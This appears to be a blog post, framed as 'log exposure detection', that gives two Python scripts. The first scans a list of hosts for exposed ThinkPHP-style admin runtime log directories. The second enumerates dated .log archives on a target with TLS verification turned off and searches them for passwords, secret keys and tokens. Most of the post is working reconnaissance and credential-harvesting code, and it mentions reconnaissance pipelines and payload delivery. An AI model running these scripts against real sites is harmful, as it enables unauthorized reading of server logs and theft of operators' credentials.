Automating Log Exposure Detection with Python

Directory traversal attacks targeting web framework log files often reveal sensitive internal state or credentials when misconfigured. Many PHP-based CMS platforms store administrative activity logs in predictable directory structures. A common indicator of an unprotected log endpoint is an HTTP 403 Forbidden response combined with visible directory listings or specific server headers, though successful reads may return 200 OK.

The following implementation demonstrates a systematic approach to identifying these exposures. The process begins by ingesting a list of potential targets and probing known log repository paths. Successful detections are filtered based on expected response signnatures and persisted for further analysis.

import requests
import re
import os

TARGETS_FILE = "targets.txt"
OUTPUT_FILE = "detected_vulnerabilities.txt"

LOG_ENDPOINTS = {
    'tp5_admin': '/Application/Runtime/Logs/Admin',
    'tp_runtime': '/Runtime/Logs/Admin'
}

INDICATIVE_CODES = {403}
TIMEOUT_SEC = 5

def extract_valid_ips(filepath):
    if not os.path.exists(filepath):
        raise FileNotFoundError(f"{filepath} not found.")
    with open(filepath, 'r') as f:
        return [re.sub(r'\s+', '', line) for line in f.readlines() if line.strip()]

def probe_target(base_url, endpoint_config):
    findings = []
    for label, path in endpoint_config.items():
        target_url = f"https://{base_url.rstrip('/')}{path}"
        try:
            resp = requests.get(target_url, timeout=TIMEOUT_SEC, allow_redirects=False)
            if resp.status_code in INDICATIVE_CODES:
                print(f"[+] Potential match: {target_url} (Status: {resp.status_code})")
                findings.append({"url": target_url, "ip": base_url, "status": resp.status_code})
        except requests.exceptions.RequestException:
            continue
    return findings

def persist_results(results, output_path):
    with open(output_path, 'a+', encoding='utf-8') as out_f:
        for entry in results:
            out_f.write(f"{entry['ip']}\n")

def main():
    ips = extract_valid_ips(TARGETS_FILE)
    all_findings = []
    for host in ips:
        matches = probe_target(host, LOG_ENDPOINTS)
        all_findings.extend(matches)
    if all_findings:
        persist_results(all_findings, OUTPUT_FILE)
        print(f"Scan complete. Results saved to {OUTPUT_FILE}")
    else:
        print("No matching endpoints identified during this pass.")

if __name__ == "__main__":
    main()

When analyzing results, developers often prefer preserving raw hostnames for automated follow-up routines, whereas retaining full URIs aids manual inspection workflows. Automated scripts can efficiently parse these outputs to enumerate daily log archives, which frequently follow patterns like YYYYMMDD.log.

Historical log enumeration requires constructing sequential date ranges and verifying archive availability. The subsequnet module demonstrates a robust iteration pattern that generates timestamps, queries targeted directories, and validates content integrity. Sensitive data extraction, such as credential leakage, can be integrated directly into the validation phase.

import requests
import datetime
import ssl
from urllib3.exceptions import InsecureRequestWarning
import urllib3

urllib3.disable_warnings(InsecureRequestWarning)
ssl._create_default_https_context = ssl._create_unverified_context

TARGET_CONFIG = {
    'domain': 'https://example-target.com',
    'log_path': '/Runtime/Logs/Admin/'
}

SEARCH_PATTERNS = ['password=', 'passwd=', 'secret_key', 'token=']
REQUEST_TIMEOUT = 7

def generate_date_range(start_date_str, end_date_str=None):
    if end_date_str is None:
        end_date_str = datetime.date.today().isoformat()
    start = datetime.datetime.strptime(start_date_str, '%Y-%m-%d').date()
    end = datetime.datetime.strptime(end_date_str, '%Y-%m-%d').date()
    delta = datetime.timedelta(days=1)
    current = start
    while current <= end:
        yield current.strftime('%y%m%d')
        current += delta

def validate_log_archive(url_template, day_token):
    target_url = url_template.format(day_token)
    try:
        res = requests.get(target_url, verify=False, timeout=REQUEST_TIMEOUT, stream=True)
        if res.status_code != 200:
            return False, None
        
        raw_content = res.text.encode('latin-1').decode('utf-8', errors='ignore')
        matched_keywords = [kw for kw in SEARCH_PATTERNS if kw.lower() in raw_content.lower()]
        
        if matched_keywords:
            print(f"[!] Sensitive data detected: {target_url} -> Keywords: {matched_keywords}")
            return True, matched_keywords
        return True, []
    except Exception as err:
        print(f"[-] Request failed: {target_url} | Error: {str(err)}")
        return False, None

def execute_enumeration():
    api_base = f"{TARGET_CONFIG['domain'].rstrip('/')}{TARGET_CONFIG['log_path']}"
    start_dt = '2023-06-01'
    for token in generate_date_range(start_dt):
        success, issues = validate_log_archive(api_base + '{}.log', token)
        if success and not issues:
            print(f"[.] Log exists but appears clean: ...{token}.log")

if __name__ == '__main__':
    execute_enumeration()

Extending this methodology to other frameworks involves mapping alternative directory conventions and adjusting HTTP verb expectations. Modularizing detection functions allows seamless integration into larger reconnaissance pipelines. Payload delivery mechanisms can be abstracted behind parameterized handlers, enabling rapid adaptation across different vulnerability classes without rewriting core networking logic.

Tags: python Cybersecurity Vulnerability Assessment Web Security automation

Posted on Thu, 09 Jul 2026 17:04:31 +0000 by Toonster